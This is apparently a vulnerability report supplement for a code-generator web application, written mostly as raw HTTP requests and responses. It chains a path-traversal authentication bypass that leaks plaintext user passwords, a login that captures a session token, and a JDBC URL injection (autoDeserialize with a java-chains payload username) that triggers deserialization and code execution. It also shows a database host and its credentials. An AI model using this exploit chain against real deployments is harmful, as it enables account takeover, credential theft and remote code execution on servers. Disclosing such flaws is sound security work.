Supplement for issue 64

[yezere]

See previous issue #64

We can use the api /api/system/user/treeUser to get the userinfo

POST  /v2;/../api/system/user/treeUser HTTP/1.1
Host: 127.0.0.1:9100
Content-Type: application/json
Content-Length: 41

get the userinfo

User model is

We normally use the saved user

So pwd is the plaintext password

After we get the plaintext password directly, log in

POST  /api/auth/login HTTP/1.1
Host: 127.0.0.1:9100
Content-Type: application/json
Content-Length: 41

{"id":1,"username":"admin","password":"123456"}

Return token

HTTP/1.1 200
Set-Cookie: JSESSIONID=code-generator_token_b8ea1b98-7fcf-40ee-89be-fe18f61c96ba; Path=/; HttpOnly
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Wed, 03-Sep-2025 10:31:08 GMT
Content-Type: application/json; charset=utf-8
Date: Thu, 04 Sep 2025 10:31:08 GMT
Content-Length: 114

{"message":"登录成功","code":200,"data":{"token":"code-generator_token_b8ea1b98-7fcf-40ee-89be-fe18f61c96ba"}}

How to use token

With jdbc injection, open java-chains

Enter calc to generate a username

POST /api/code/database/save HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:9100
X-Token: code-generator_token_b8ea1b98-7fcf-40ee-89be-fe18f61c96ba

{"projectId":1,"name":"n1ght","url":"jdbc:mysql://host:port/hello?detectCustomCollations=true&autoDeserialize=true&user=d971c83#","user":"d971c83","password":"123456","dbSchema":"hello","dbType":1,"driver":"com.mysql.jdbc.Driver"}

query database id

POST /api/code/database/listPage HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:9100
X-Token: code-generator_token_b8ea1b98-7fcf-40ee-89be-fe18f61c96ba

{"projectId": 1, "page": 1, "limit": 100}


HTTP/1.1 200
Content-Type: application/json; charset=utf-8
Date: Thu, 04 Sep 2025 10:53:46 GMT
Content-Length: 648

{"message":"获取数据库列表分页成功","code":200,"data":{"total":2,"size":100,"pages":1,"current":1,"records":[{"gmtCreate":1756983100000,"gmtModified":1756983100000,"id":10,"projectId":1,"name":"n1ght","url":"jdbc:mysql://host:port/hello","user":"d971c83","password":"123456","dbSchema":"hello","dbType":1,"driver":"com.mysql.jdbc.Driver","project":"项目demo"},{"gmtCreate":1568314875000,"gmtModified":1568364586000,"id":2,"projectId":1,"name":"hello","url":"jdbc:mysql://www.zhengqing520.com:3306/hello","user":"hello","password":"root","dbSchema":"hello","dbType":1,"driver":"com.mysql.jdbc.Driver","project":"项目demo"}]}}

the database info

"id":10,"projectId":1,"name":"n1ght","url":"jdbc:mysql://host:port/hello","user":"d971c83"

Then use this id to trigger the injection

POST /api/code/database/saveTable HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:9100
X-Token: code-generator_token_b8ea1b98-7fcf-40ee-89be-fe18f61c96ba

{"dataBaseId":10,"projectId": 1, "tableName": "t_code_project_velocity_context"}